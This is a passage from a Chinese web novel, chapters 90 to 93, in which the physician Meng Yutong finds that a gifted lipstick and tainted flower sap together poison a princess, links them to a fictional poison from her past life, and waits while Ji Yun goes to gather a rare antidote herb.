吴明猛地一拍大腿,痛心疾首地长叹:“当家的还没来得及吹哨呢!这家伙……该不会真被毒死了吧?这要是让刘公子知道了,可如何是好!” 第90章 第90章秋海棠 孟玉桐快步走到石桌前,伸出两指轻轻按在鸽子颈侧,屏息感受了片刻,直到指腹下传来微弱却持续的跳动,才悄然松了口气。 她转向一脸紧张的吴明和石宇,宽慰道:“无妨,尚有气息,只是昏死过去了。” 纪昀此时也已来到她身侧。他面色凝重,看着桌上僵直的鸽子,眼底闪过明显的抗拒,但仍是上前一步,取过桌面的银簪,欲将鸽子拨动细看。 孟玉桐见状,下意识伸手轻轻拉住了他的衣袖,“我来便好。” 纪昀感受到袖口传来的细微力道,见她是留意并顾及着自己对禽鸟的畏怯,原本因紧张而微绷的心弦不由得一松,心底泛起一丝难以言喻的暖意。 他顺势向孟玉桐靠近了半步,低声道:“它确还有呼吸,只是昏迷,这般情状与姨母昏迷之初,颇有几分相似。” 孟玉桐颔首,转而问向石宇与吴明:“你们仔细回想,方才究竟发生了什么?它可曾碰过其他东西?” 石宇忙不迭地回答:“孟大夫,是我不小心让它逃出了笼子。它在院中乱飞了一阵,最后落在这石桌上,啄食了您这碗里的花泥,然后就又飞了起来,没承想突然就栽下来了!” 他指着那只原本盛放着木芙蓉花泥的白瓷小碗,此刻里面已然空空如也。 孟玉桐拎起鸽子,仔细检查它的喙部,果然沾染着粉色的花泥残迹。 她又迅速扫视桌面,只见其他几味药粉、还有那方素绢包裹着的红色口脂,都维持着她离开时的原样,显然未曾被动过。 “除了花泥,可还吃了别的?”她追问。 石宇努力回想,肯定地摇头:“再没有了!早上我只喂过它一把谷子,不过那谷子绝无问题,我自己都尝了两颗的。” 那么,问题极可能就出在这木芙蓉花汁上。 等等……她方才还用这花汁喂过一只鸡! 孟玉桐立刻蹲下身,查看笼中那些活鸡。她拎出那只翅羽上做了记号、喂食过混合花汁药糊的鸡。 只见那鸡精神抖擞,在她手中扑腾着翅膀,咯咯叫唤,充满活力,与桌上一动不动的鸽子形成鲜明对比。 孟玉桐的秀眉渐渐蹙紧。若问题独在花汁,为何这只鸡安然无恙? 她的目光再次回到石桌,逐一扫过上面陈列的物件:按比例调配好的各色药粉、清水、研钵、玉杵……所有东西都在明晃晃的日光下一览无遗。 恰时一阵微风吹过,拂动了桌上之物,那方素绢包裹的口脂被风推着向前滑移了一小段距离,包裹的绢帕散开一角,露出了内里那抹浓郁欲滴的红色。 今日阳光确实炽烈,金色的光芒笼罩周身,晒得她后颈微微发烫。 景福公主寝殿的布局忽然间清晰地浮现在脑x海:朝南是一扇极大的支摘窗,窗下设着矮榻,旁边便是梳妆台。 因这朝向之故,殿内光线极佳,若逢晴日,那一方区域,尤其是梳妆台面,定然整日都沐浴在充沛的阳光之下…… 孟玉桐眸中倏然掠过一道清亮的光芒,仿佛拨云见日,一直盘桓在脑中的混沌思绪瞬间变得清晰无比,串联成线。 她不再犹豫,一把将地上那只做过记号的活鸡抓起,拎着它的后颈,另一手迅速将桌角的瓶罐推开,清出一块空地,随即便将那只不断挣扎的鸡强按在了石桌中央。 那鸡被她制住了翅膀与脖颈,不安地左右扭动着脑袋,喉间发出惊恐的“咕咕”声,一双圆眼滴溜溜乱转,被强行固定在桌面上。 她这突如其来的举动,让周围几人都面露不解,摸不着头脑。 纪昀凝神看了片刻,眼底渐渐浮现了然之色,沉声问道:“你可是怀疑,这石桌之上,另有他物能与花汁相互作用,最终致人中毒昏迷?” 孟玉桐没有回答,目光紧紧锁在手中的鸡身上。那鸡起初还在奋力挣扎,喉间的咕噜声不断。 然而,在石桌上待了不过一小会儿,它的挣扎肉眼可见地变得无力,脑袋耷拉下来,眼中的神采迅速黯淡,最终身子一软,彻底瘫倒在桌面上,不再动弹。 直到此时,孟玉桐才缓缓转过头,迎上纪昀探究的目光,语气斩钉截铁:“是口脂。” 她指向那方暴露在阳光下的艳红口脂:“此物在日光照射下,会挥发出某种无形无味之物。若此时恰好服用了含有特定花汁的东西,再吸入这挥发之气,便会引发中毒,导致昏迷不醒。” 她思路清晰地回溯:“景福公主那日清晨所用的是薏米红枣玫瑰粥,绿绒曾言,粥中所用玫瑰乃是采摘自公主府花园。若我所料不差,那园中多数看似寻常的花草,只怕都已被动了手脚,带有类似的药性花汁。 “公主用罢早膳,坐于妆台前试戴发簪,彼时晨光正好,满载阳光的梳妆台,同时也照耀着这盒开启的口脂,不久,毒性并发,她便昏迷不醒。” 纪昀的目光亦落在那方颜色秾艳的口脂上,这是瑾安亲手所赠之物。 若一切真如孟玉桐所推断,那意图谋害姨母的幕后之人岂非正是瑾安? 孟玉桐无暇顾及他脸上变幻的深思神色,她必须立刻验证自己的猜想。 她转向吴明,语速略快:“吴明,你去前堂柜台处仔细找找。上次从公主府归来,许是那日鸽群惊扰之故,有一朵石榴花落在了我发间,回来后被我便随手搁在了前堂桌案上。去看看是否还在。” 吴明领命而去,不多时便返回,手中果然拈着一朵已已经失水发干的石榴花:“当家的,找到了!” 孟玉桐命他将这干花用洁净器皿研磨成粉,自己则随手在院中枝头摘下一朵新鲜的石榴花。 她将这两种不同状态的花分别制成粉末,喂给两只活鸡,随后将鸡放在地上任其活动。接着,她将那方素绢包裹的半块口脂从石桌上取下,置于两只鸡附近的地面。 不过片刻工夫,那只服用了干石榴花粉的鸡,步伐开始踉跄,随即如同之前的鸽子一般,软软瘫倒在地,失去了意识。 果然如此! “好缜密……好狠毒的计策!”吴明在一旁看得心惊肉跳,忍不住咂舌惊叹,随即又生出新的疑惑,“当家的,可那些花草皆是公主府花园中所植,平日定有人精心看护,又是何人,能在众目睽睽之下对于园中花草做下这等手脚?” 此言确实点出了关键。孟玉桐忆起,景福寿宴那日,她曾入其寝殿,彼时妆台花瓶中所插乃是玉兰。 而昨日再去,瓶中已换作木芙蓉。可见景福公主插何种花于殿中,并无定规。 如今不仅木芙蓉,连玫瑰、石榴花皆显异样,这便意味着,园中大多花草,或许都有问题。 可如此大规模的布置,如何才能不惊动任何人? 孟玉桐的视线与纪昀在空中交汇,两人眼中俱是沉沉的思量,试图捕捉那飘忽的关联。 桌面上的那只昏迷的鸽子与鸡躺在一处。 忽然间,两人身形皆是一震,几乎同时脱口而出: “是鸽子!” 景福寿宴那日,鸽群无故惊飞,在花园中四处乱窜,翅羽拂过无数草木。 孟玉桐清晰记得,曾有一只鸽子在她身后的石榴树上扑腾了好一阵,随后又振翅飞向了不远处的木芙蓉丛。 定然是有人在那些鸽子的羽毛上做了手脚,掺入了某种不易察觉的药物。借助鸽群扇动翅膀、四处飞掠,将那药物在顷刻间悄无声息地洒遍了公主府花园的众多花草之上。 景福公主何时会开启这盒口脂,又会何时采摘园中何种花草食用或赏玩,皆无定数。唯有当她恰好在某日,同时接触了这两样东西,潜伏的毒性才会骤然发作。 一旦毒发,再想追查根源,简直难如登天。 孟玉桐心思飞快流转。上一世,景福出事的时间是在来年的春日宴,而非此时。 这说明,前世景福同时达成这两项条件的时机与今世不同,或许摄入的剂量也有所差异,故而此次只是深度昏迷,而非如秋海棠典型症状那般,立时七窍流血、容颜枯败而亡。 这毒……孟玉桐用银簪小心剜取一小块口脂,置于白瓷碟中,又滴入几滴新榨的木芙蓉花汁。 只见那浓烈的红色与娇嫩的粉色相互交融,竟渐渐化为沉郁黑色。 她将瓷碟端至鼻下,以手轻轻扇动,细嗅那混合物散发出的气味。 初闻是口脂本身浓郁的花草香气,但再细细辨别,在那香气掩盖之下,竟隐隐透出一丝极淡、却无法忽视的甜腥之气。 那气味诡谲难言,甜腻之中,又带着淡淡腥锈感,糅合在一起,形成一种独特气息。 这股甜腥气,好熟悉。 孟玉桐猛地闭上双眼,极力在纷乱的记忆中搜寻,终于想起自己是在哪里闻过这个味道! 正是上一世,青书送来的汤药! 这是秋海棠没错。 只是此次,景福公主并未直接将口脂涂抹于唇,毒素仅是通过日光加热挥发,吸入的剂量有限,故而中毒未至肺腑深处。 但她可以确信,这必定是秋海棠之毒。 一旁的纪昀敏锐地察觉到孟玉桐神色剧变。 只见她面色倏地苍白如纸,不见半分血色,目光死死盯着碟中那混合后变为漆黑的药汁,眸底翻涌着极其复杂难辨的情绪。 那其中,有惊惧,有痛苦,更有厌憎……那神情,绝非初次识得此毒之人该有的反应。 倒像是,她曾亲历过这毒一样。《 》 90-100 第91章 第91章谢谢你 纪昀因这莫名而起的念头,心头忽然一紧,他立刻上前,接过孟玉桐手中的白瓷碟,同时伸手在她肘臂处虚虚一扶,声音里带着自己都未察觉的紧绷与关切:“你怎么了?可是有哪里不适?” 孟玉桐却猛地抬起眼帘,目光冰冷如刃,直直射向他,语气倏然疏离而尖锐:“下毒之人是谁,你心中已然明了。接下来,你待如何?” “今日所查得的一切,待姨母苏醒,我自会如实禀明,定会还你清白,严惩真凶。” 纪昀神色郑重地承诺,目光却未曾从她苍白的脸上移开。他心中疑虑更深,玉桐的反应太过异常,她难道真的早已识得此毒? 难道,这与些与他所不知道那些梦境记忆有所关联? 有什么模糊的念头在他心底挣扎着欲破土而出,一些零碎的线索仿佛即将串联起来,可每当他试图向前探究一步,那些呼之欲出的真相又如退潮般迅速隐没,只留下更深的迷雾,让他愈发看不清前路。 比起揪出瑾安、查明她背后是否另有主使,眼前孟玉桐这异乎寻常的反应,反而更让他心绪不宁,忧惧丛生。 他想要知道,孟玉桐究竟隐藏着怎样的过往,又曾经历过何等的过往? “纪医官此话说的倒是冠冕堂皇。”孟玉桐静立于原地,望着他,那双总是清冽的眸子此刻沉静得可怕,里面仿佛盛满了化不开的浓墨与寒冰,“只是瑾安公主与纪医官自幼青梅竹马,情分非比寻常。却不知届时,纪医官是否真能如眼下所言,做到铁面无私,大义灭亲。” 上辈子,青书送来的那碗掺了秋海棠的汤药,追根溯源,必与瑾安脱不了干系。是瑾安授意要害她性命。 可青书是纪昀的人x。 那件事,纪昀究竟是否知情?他可曾参与其中? 孟玉桐重生以来,她只觉每一日的时光都是上天的恩赐,眼前这平静行医、经营医馆的日子来之不易。她从不敢去深想上一世秋海棠之事,不敢萌生半分复仇之念。 她怕一旦踏出那一步,被卷入权力与仇恨的漩涡,便会彻底摧毁眼下这来之不易的一切。 她这一路走来,自认足够勇敢无惧,也算得上洒脱利落,却唯独在这件事上,她心生怯懦,不敢深究。 可世间事偏是如此,她往往越是想躲避,它们越会找上门来。 即便她主动避开,与纪昀退了亲事,可还是逃不开这个结局么? “下毒一事,手法确实隐蔽。我们虽已推演出毒源与关联,但若要指认,尚缺实证。以瑾安的性子,只怕也不会承认,给出解药。” 纪昀不明白,孟玉桐的反应为何如此反常,也不明白她为何用这样一种极其陌生的眼神看着自己。 他们相处这些时日,即便她态度再如何冷淡疏离,也从未像此刻这般。 他心头没来由地一阵发虚,却强自镇定,眼下她的嫌疑还未洗清,他不能自乱阵脚。 “既然已查明关窍,当务之急是寻得解药,先救醒姨母。唯有姨母苏醒,你的罪名方能彻底洗清。我即刻带此毒物回医官院,请陈玢辨识具体为何种毒物,以期尽快配制解药。在此之间,你万勿轻举妄动。” 孟玉桐依旧静立着,一言不发,周身的寒意未有半分消减。 纪昀转而看向一旁努力降低存在感、几乎要站成木桩的石宇与吴明,语气恢复了一贯的平稳:“我有要事需与她单独商议,劳烦二位暂且回避。” 吴明连忙应声,拉着还有些发懵的石宇快步退出了小院。 院中顷刻间只剩下他们二人,空气仿佛都凝滞了几分。 “你是在担心我与瑾安的关系,认定我会徇私护短?”纪昀定定地凝视着孟玉桐,甚至向前踏近了半步。他身形挺拔,此刻逼近,投下的阴影几乎将孟玉桐完全笼罩,“你担心我日后会包庇她?” 孟玉桐蹙起眉心,下意识地向后退避,脊背却抵上了身后粗糙的柿子树干,阻断了退路。只能眼睁睁看着他逼近,那带着压迫感的视线如网般笼罩下来。 “你如此在意此事?”他的声音低沉,落在耳畔。 孟玉桐倏然抬眸,径直迎上他探究的目光,语气冷然:“纪医官想多了。我不过是担心自身难保,洗不清嫌疑,这辛苦经营的照隅堂,最终落得个付之一炬的下场。” 她说话时,纤长的眼睫微微颤动,眼下那颗殷红的小痣在苍白的肌肤上显得愈发醒目,竟透出一股惊心动魄的艳色。 纪昀的目光不由自主地被那点红痣吸引,停留一瞬,又仿佛被烫到般移开,却不经意间,落在了她紧抿的唇上。 那唇瓣泛着更为深浓的嫣红,更是扰人心神。 纪昀呼吸微滞,垂在身侧的手悄然握紧。 他像是骤然清醒,猛地向后退开半步,拉开了两人之间过于贴近的距离,语气也恢复了惯常的冷静,认真解释:“我与瑾安之间,并非你所想的那般。我曾同你提过,我有一位早逝的兄长。 “兄长与瑾安一样,自幼患有心疾,两人算是同病相怜,故而关系亲近。兄长在世时,曾立誓要寻得根治心疾之法,护瑾安康泰。我如今接手她的病症,钻研药方,不过是承接兄长未竟之诺,完成他的遗愿罢了。” 他顿了顿,目光沉静地看向她:“所以,你所担忧之事,绝不会发生。今日所查得的一切,待姨母苏醒,我必当如实禀明,后续如何处置,自有姨母定夺。” 话至此处,他语气微缓,那双总是清冷的眸子里,竟似有微光流转,“不过你会因此事而在意,倒是不像你平日的性子。” 恰有一阵微风拂过,搅动了满树葱茏的柿叶,沙沙作响。 破碎的阳光透过枝叶缝隙,在他清隽的侧脸上流转,驱散几分清冷气质,透出几分难得的温润。 他将自己与瑾安的关系说得坦然直白,不像掺假。 孟玉桐却因他这番话而神情微怔。 她一只手无意识地紧紧攥住了自己的衣摆,脸上闪过几分错愕,那情绪来得太快,以至于尚未辨清便转瞬间便化为了更深的茫然。 她就那样呆呆地站在原地,微微仰着头看着他,竟流露出几分罕见的、不知所措的模样。 “怎么了?”纪昀将她这不同寻常的反应尽收眼底,声音不由得放得更轻,“你今日与往常很是不一样。可是有什么事瞒着我?” 孟玉桐抬起头,目光似乎没有焦点地飘忽了一下,忽然问出一个毫不相干的问题:“许久未见青书,他近来在做什么?” 这问题来得突兀,但纪昀并未追问缘由,只是极其自然地接口答道:“青书原是兄长身边的贴身侍从,自兄长去后,便一直跟在我身边。以往我入宫为瑾安请脉,多是由他随行。不过,” 他略一停顿,“上一次我入宫诊视时,本已派了他去做别的事,他却主动提出要与我同往。他性子向来沉稳守矩,少有这般逾越之时。我心中觉得有些异样,便将他调去了纪明身边照料,已有段时日未曾让他随侍在侧了。” 他说这番话时,目光始终未曾离开孟玉桐的脸,细致地观察着她每一丝细微的神情变化。 以他那般敏锐缜密的心思,自然已察觉,青书此人或许在她那些他不曾知晓的梦境记忆里出现过。 纪昀的神态温柔,缓声道:“你可还有别的想知道的?只要是你想知道的,只要我知晓,我都会告诉你。” 孟玉桐听了他这一番解释,心头千头万绪缠绕。 他今日所言,有许多皆是上一世她全然不知的内情。 若他所言非虚,那么,她前世的死,或许当真与他无关。 不知为何,得到这个认知后,她心中并无狂澜,反而是一片异样的平静。 细想来,即便没有那碗穿肠毒药,她在那段婚姻里的日子,也早已是千疮百孔,步履维艰。她与纪昀,本就是一对怨偶,错误的结合罢了。 思绪渐清,孟玉桐骤然惊觉自己方才的失态。前尘旧事,不该在此时此地纠缠不休。眼下燃眉之急,是解景福公主之毒。 她收敛心神,直接切入正题,望向纪昀:“你是否听过秋海棠?” 秋海棠? 纪昀神色微凝,闪过一丝错愕。他自然明白,在此情境下,她问的绝非是那观赏之花。 若非花,那便是十数年前,曾在宫中掀起轩然大波的一味剧毒。当年圣眷正浓的敏妃,便是香消玉殒于此毒之下。 “十数年前,敏妃曾中此毒殒命。可你怎会知晓此毒?”纪昀面露疑色,心中警铃微作,“可是怀疑眼下之毒,与那秋海棠有关?” 孟玉桐不答反问,目光紧锁着他:“关于那位敏妃中毒的始末,你知道多少?” “当年负责敏妃脉案的,是医官院的沈昺沈医正,”纪昀沉吟道,“你若想知晓详情,我即刻去济世堂请他过来。” 他说完,便将桌上那碟混合后色泽诡异的毒汁小心端起,对孟玉桐温言道:“你在此处稍候,我去去便回。” 言罢,他转身欲行。 “纪昀。”孟玉桐忽然出声唤住他。 他驻足回眸:“还有何事?” 孟玉桐望着他,那双清冷的眸子里,此刻透着几分诚挚,她微微抿了抿唇,声音虽轻,却字字清晰:“谢谢你。” 纪昀闻言,唇角漾开一抹笑意,声音低沉而柔和:“你我之间,不必言谢。” 说罢,他不再停留,转身快步离去,衣袂拂过院中青石,带起一阵微凉的风。 第92章 第92章等我回来 纪昀走后,孟玉桐独自静坐于石凳之上,院中此时的阳光正好,她却觉得心底有些发凉。 青书与瑾安,究竟是何关系?瑾安为何非要置自己于死地?是因为纪昀么? 因为瑾安属意纪昀,而自己占据了纪昀正妻之位,故而成了她的眼中之刺、肉中之钉,必欲除之而后快? 这个理由,虽总觉得其中尚有未能贯通之处,但乍听之下,似乎也说得过去。 那么,瑾安又为何要毒害景福公主? 孟玉桐脑海中骤然闪过前世的记忆,景福公主身故后不久,宫中曾遭刺客闯入,正是瑾安在那场混乱中舍身护驾,自x此之后,她才真正摆脱了默默无闻、备受冷落的处境,圣眷日隆,再非昔日那个无人问津的透明公主。 这与景福当年荣获圣宠的过程倒是有些相似。 孟玉桐倏然清醒,或许那并非巧合! 景福之死,根本就是瑾安精心布下的一步棋。她深谙圣上重情念旧的性子,算准了景福死后,自己便可利用类似的手段,以忠勇或受害的姿态,重新赢得圣心,攫取权势与地位。 她此前太过默默无闻,以至于自己的亲事并不能做主,嫁了自己不爱的人……而唯有手握权柄,她才能真正将想要的一切,牢牢掌控在手心…… 一股寒意猝不及防地从心底升起,孟玉桐只觉得后背阵阵发冷。她看向石桌上依旧昏迷不醒的鸽子与活鸡,缓缓吐出一口气。 眼下,唯有尽快研制出解药,救醒景福公主,万不能让上一世的事情重演。 孟玉桐并未等候太久,纪昀去而复返,身后果然跟着沈昺。 沈昺步入后院,见到孟玉桐,眼中掠过一丝温和。 因着此前她无偿赠予石莲子之义举,以及后来共抗腹泻之症期间,她所展现出的仁心与卓绝医术,早已让他对这个年轻后辈刮目相看,心底存了几分欣赏与敬佩。 故而今日纪昀前往相邀,他并未推拒,毫不犹豫便随之前来。 “孟大夫。”沈昺客气地拱手见礼。 孟玉桐起身还礼:“有劳沈大夫亲自前来。” 沈昺在孟玉桐身侧的石凳坐下,小心翼翼地从怀中取出一本页面泛黄、边角磨损的古旧册子,神色间带着凝重。 “孟大夫,你的境遇,纪医官已大致同老夫说了。”他缓缓开口,声音苍老却沉稳,“老夫虽不知你因何卷入这般风波,但以老夫这些时日对你的了解,深信你绝非那等会行阴私歹毒之事之人。 “当年敏妃中毒一案,涉及宫闱秘辛,本不该再提。老夫早已致仕,理当将这些旧事带入黄土……然而,对于这秋海棠之毒,老夫心中确有一份执念未解。若能借此机会,寻得克制此毒之法,或许也能了却老夫积压心头多年的一桩憾事。” 沈昺轻抚着那泛黄的册页,目光渐渐深远,仿佛回到多年之前,声音带着沧桑与痛惜: “当年那位敏妃娘娘,出身并不显赫,只是个小品官员家的女儿。性子天真烂漫,活泼可爱,入宫时年纪尚小,因着这份纯真性子,很得圣上怜爱。” “她心性纯善,在宫中待人从无贵贱之分。即便是那位从南诏远道而来和亲、彼时宫中诸多妃嫔命妇皆不甚亲近的丽妃,敏妃也常去她宫中坐坐,陪她说说话,解一解异乡孤寂。她是真心怜惜那女子背井离乡,不易。” “后来,敏妃娘娘有幸怀上了龙裔。自她有孕起,一应平安脉象皆由老夫负责诊视。娘娘年纪轻,底子好,胎象一直平稳,老夫本以为她定能顺利诞下皇子,为皇家开枝散叶……奈何天意弄人,变故就发生在她临盆当日。” 沈昺的声音低沉下去,带着沉重的叹息:“娘娘被送入产房后,尚未等到皇子降生,便骤然毒发,香消玉殒。所中之毒,便是那后来被称作‘秋海棠’的奇毒。 “事后陛下震怒,下令彻查,可娘娘的饮食、衣物、器用,皆未查出异样,毒源成谜。此前也从未有人见过此种毒物,只因娘娘毒发时,七窍沁血,容颜瞬间枯萎,恰似秋日海棠经霜凋零,故而得名。” 他闭上眼,深吸一口气,似要压下心头的波澜:“敏妃娘娘在时,待宫人宽厚,对老夫亦是礼遇有加。可她中毒之际,老夫空有一身医术,却束手无策,只能眼睁睁看着……此事之后,老夫深感宫闱之内,波谲云诡,非医者悬壶济世之地,便心灰意冷,自请离开了医官院。” “离宫之后,老夫心中始终放不下此毒,遍寻古籍,试图找到一丝线索。皇天不负,最终在一本记述南疆风物医理的残卷中,寻得了类似记载。老夫将其一一抄录于此册之中,本以为此生再无用处,未曾想今日竟能重见天日。” 他将那本凝聚了许多心血的册子郑重递到孟玉桐手中。 孟玉桐小心接过,翻开泛黄的书页,凝神细读。其上记载,此种毒源于一种名为“金盏红玉”的奇花。 那花形态诡艳:叶片狭长,色如墨染,枝梢簇拥着数朵碗口大小的赤金色花朵,花瓣重重叠叠,质地宛若浸油的丝绸,在日光下流转着炫目的金红色泽。 其味道与寻常花香不同,散发着一股甜腻奇特,参杂腥气的异香。 取其花粉与花瓣汁液,经特殊秘法炼制,可得此毒。中毒者依剂量深浅,症状轻者或昏迷麻痹,症状重者或至七窍流血、容颜顷刻衰败枯萎而亡。 册子上还记有关于此毒的解法,其中大多药材都不是稀罕之物,只一味“七星草”罕见难寻,据载此物生于千丈悬崖之背阴石隙。采药人须于寅时,趁山间雾气未散时,以长竿缚玉刀或铜刀割取,方可保其药性不失。 沈昺指着册上文字,眉头深锁:“若要调配解药,其中几味辅药虽珍稀,尚可尽力寻得。唯独这‘七星草’最为棘手。此草不仅生长之地险峻异常。且其周边必有异兽毒虫守护,欲得此草,无异于虎口夺食,凶险万分。若要采得此药,或许去凤凰山上,可以一寻。” 凤凰山? 孟玉桐微顿,她正是去的此处采摘紫雪参。一次是冬日,大雪封山,上山与采摘的难度都难以想象,上一世从凤凰山上采下紫雪参,几乎废了她半条命。还有一次,便是两月之前,她同何浩川、白芷一同上山采摘了。 听起来,这七星草的生长环境与紫雪参类似,不过其采摘手法和要求似乎更为严苛,非是专业的医者不能采集。 她得想办法再去一趟凤凰山。 孟玉桐收回神思,视线落回手中的册子上,目光在那些艰涩的描述与一旁绘制的形态奇诡的“金盏红玉”图谱上流连。 纪昀静立在她身后,随着她的视线一同浏览册上内容。 他微微俯身,高大的身影自然而然地笼罩下来,带着淡淡的清冽气息。他的手指点向图谱上那妖异的花朵,声音低沉而肯定:“这花,我见过。” 孟玉桐呼吸一凛。 他没有再说下去。 沈昺是何等通透之人,立时明白接下来的话已非自己所能与闻。他今日前来,所知所能已尽数告知,便不再停留,起身与二人拱手作别,悄然离去。 待院中只剩他们二人,孟玉桐偏过头,看向近在咫尺的纪昀:“你在何处见过?” 两人此刻的距离极近,呼吸可闻,几乎再往前半寸,便能触到彼此。 纪昀眼中暗流涌动,似有万千思绪翻腾,他却并未回答,只是缓缓直起身,拉开了距离,将话题引回:“先商议解药之事。” 他语速利落,安排清晰:“其上所载药材,医官院中药库皆有所藏,我即刻去取。至于那最关键的七星草……” 他顿了顿,目光沉静地看向孟玉桐,“你无需担忧,我去一趟凤凰山,定会将此药取回。这两日,你便在馆中好生歇息,等我消息。” 孟玉桐蹙眉:“此事终究因我而起,那草药既如此凶险,我……” “姨母情况危急,多耽搁一日,便多一分凶险。”纪昀打断她,眼神沉静,语气更是不容置疑,带着令人心安的力量,“我既说能取来,便有把握。你说到底是女子,至少在体力上我比你更有优势。你且安心在此,调配解药其他步骤还需你全力施为,保存精力方是上策。” 他见孟玉桐仍欲开口,声音放缓了些许,又补充道:“莫要总觉得此事是你一人之责。如今昏迷在榻的是我姨母,为她寻药解毒,本就是我分内之事。” 听他如此说,孟玉桐终是缓缓点头应下,“此前我曾与小川一起前往凤凰山采过药,他对于山上的地形和情况较为熟悉,若有需要,你可以寻他帮忙。” “好,”纪昀不再多言,转身便欲离去筹备。 “纪昀。”孟玉桐在他身后轻声唤道。 他驻足回眸。 孟玉桐望着他挺拔的背影,唇瓣微动,最终只吐出一句:“一切小心。” 纪昀闻言,回身看向她,时值傍晚,满天霞色,他站在树下,模样一如初次相见时,清隽疏朗,却比之多了几分温柔。他唇角微扬,声音低沉而笃定: “等我回来。” 院中x一时静谧,唯有轻风轻柔地穿过枝叶,带来沙沙的细响。天边晚霞似火,将小院染上一层温暖的橘红色,斑驳的树影在地上轻轻摇曳。 不远处飘来清甜沁脾的桂花香气,幽幽弥漫在空气里。 孟玉桐独立于这片暮色之中,看着他身影消失在医馆中。 不知怎的,心中那股连日来紧绷的焦灼与不安,在此刻,竟倏然得了片刻喘息之机,渐渐缓和下来了。 第93章 第93章有关他兄长的事 景福公主中毒的第三日,上午天色便沉了下来,铅灰色的乌云层层堆叠,压得人喘不过气。萧瑟的秋风毫无预兆地刮起,卷着落叶,带来阵阵侵骨的寒意。 孟玉桐独自待在照隅堂的后院,面前放着那只竹编鸽笼。 笼中,刘思钧那只鸽子依旧毫无声息地躺着,绒毛在风中微颤,却不见半分生机。 她眉宇间凝着一层忧色,目光静静地落在鸽子身上,指尖无意识地摩挲着冰凉的笼栅,心也如同这天气一般,沉沉坠着。 纪昀昨日便已动身去寻那味关键的七星草,至今还没有音讯传回。 她抬头望了望阴霾密布的天空,眉头锁得更紧。看这情形,一场秋雨势难避免。若他在深山之中遭遇大雨,山路湿滑,寒气侵体,处境只怕更为艰难。 正思索间,前堂传来一阵熟悉的喧嚷声。她循声望去,只见李璟大步流星地走了进来,身后跟着怀抱一只食盒的云舟。 “世子爷!您可算来了!”石宇一见李璟,忙不迭地迎上去,苦着脸道,“这两日可憋闷死小的了!” 李璟没好气地推了他一把,语气嫌弃:“不识好歹的东西!让你在这儿躲清闲,还敢抱怨?” 石宇连连摆手:“不敢不敢!就是关着出不去,实在无聊得紧。” “李世子。”孟玉桐起身,远远朝他打了个招呼。 “一边儿去!”李璟拨开石宇,快步走到孟玉桐面前,先是故作不满地冷哼了一声,“哼,我表兄呢?怎地就把你一个人丢在这儿,也不知道陪着。说起来还是小爷我够义气吧?” 说着,他回头招招手,示意云舟将食盒放在石桌上。揭开盒盖,里面是琳琅满目的精致菜肴,香气四溢。 “这可是我特意从和乐楼带来的招牌菜!你这两日闷在医馆里,定然没吃好。快来用些!” 孟玉桐婉言谢绝了他的好意,只道自己并无胃口。 李璟却不依:“不饿也得吃点儿!不然我买这许多,岂不是白白浪费了?” 孟玉桐确实无意,便叫了石宇、吴明和白芷一同过来享用。 那三人倒是喜滋滋地围了上来,唯有李璟不情不愿地让开位置,嘴里含糊不清地低声嘟囔了一句:“特意给你买的……又不领情……” “世子方才说什么?”孟玉桐隐约听到,抬眼问他。 李璟立刻摇头,眼神飘忽:“没……没什么!” 孟玉桐不再多问,转而将云舟唤至一旁僻静处。 “云舟,”她压低声音,眉间忧色未褪,“你家公子还未回来?” 云舟面上也浮起忧虑,摇头道:“公子昨日离去时,并未言明何时能归。想来这上山采药一事颇为艰辛。” 他抬头看了看愈发阴沉的天色,叹了口气,“瞧这天色,怕是有一场大雨。每逢阴雨湿寒天气,公子早年落下的旧伤便会发作,肩臂酸痛难忍……也不知他此行,能否一切顺利。” “旧伤?”孟玉桐追问道,“他的胳膊怎么了?” 云舟话已出口,自知失言,但想着公子待孟大夫非同一般,此事或许也不必刻意隐瞒,便斟酌着回道:“是几年前……府里出了些变故。公子曾在冬日淋了整夜的冷雨,又……又在老太爷院前跪了一宿,寒气侵骨,自此便落下了这风寒湿痛的根子,每逢阴雨天,肩膀旧伤便疼痛难当。” 他语焉不详,只用“变故”二字轻轻带过,不敢深言其中隐秘。 然而孟玉桐何等敏锐,立刻捕捉到他言辞间的闪烁,蹙眉问道:“你所说的变故,可是与纪昀那位早逝的兄长有关?” 云舟浑身一震,猛地抬头看向孟玉桐,眼中满是惊骇:“孟、孟大夫……您……您怎会知晓此事?莫非是公子亲口告知?” 大公子猝然离世后,老爷夫人悲痛欲绝,老太爷更是深受打击,整个纪府如同被阴云笼罩,那段时日堪称府中禁忌。 即便是不经意间提起与大公子相关的只言片语,或出现一件旧物,都会引得主子们神色剧变,哀恸难抑。 府中上下对此事讳莫如深,久而久之,所有关于大公子的痕迹都被悄然抹去,对外亦不再提及,仿佛纪家从未有过那位惊才绝艳的长子。 可如此隐秘的旧事,公子竟会告知孟大夫? 云舟心中顿时翻江倒海,只怕在公子心中,孟大夫的地位,远非寻常。 孟玉桐将他震惊的神色尽收眼底,缓缓颔首,语气平静无波:“是纪昀告知于我。他曾言,只要我想知道,他定知无不言。” 她静静地看着云舟,此言意在敲打,亦是明示,在她面前,关于纪昀的过往,无需刻意隐瞒。 “关于他兄长之事,”她声音放缓,声音听来温和,却不容抗拒,“你能否同我仔细说说?” 云舟脸上显出几分挣扎与为难,但这犹豫并未持续太久。 他很快便想通了,既然公子已对孟大夫如此坦诚,自己此刻的隐瞒便显得毫无意义,这些旧事她迟早都会知晓。 云舟的声音低沉下来,缓缓道: “我与青书,自幼便分别跟在公子与大公子身边。大公子纪昭是天生的医者,少年早慧,惊才绝艳,老太爷将毕生心血与期望都倾注于他,悉心栽培,只盼他能承继纪家衣钵,光耀门楣。只可惜,大公子生来便带了心疾,需得精细将养,故而全府上下,无不对他万分珍视,小心翼翼。” 他说至此,语气微顿,似是想起了从前的事情,声线里染上些许复杂的暖意。 “而我们公子……他年少时,与大公子是截然不同的性子。他不爱枯坐翻阅医书,反倒更喜纵马驰骋,弯弓射箭。那时的他,眉眼间皆是鲜衣怒马的少年意气,性子跳脱飞扬,不喜拘束,常因不务正业而惹得老爷夫人烦忧。只是……那时府中所有人的目光都聚焦于大公子之身,公子的这份不羁,倒也无人真正去深究或约束。” “变故发生在……大公子十六岁生辰那年。”云舟的声音陡然变得艰涩,“公子见他兄长终日闷在府中,便想着法儿为他解闷,特意从外头买回一只鸽子。怎料……大公子服药时,那鸽子忽而扑棱飞起,惊了药碗。大公子受惊呛咳,心疾骤发,竟……竟就此去了。” 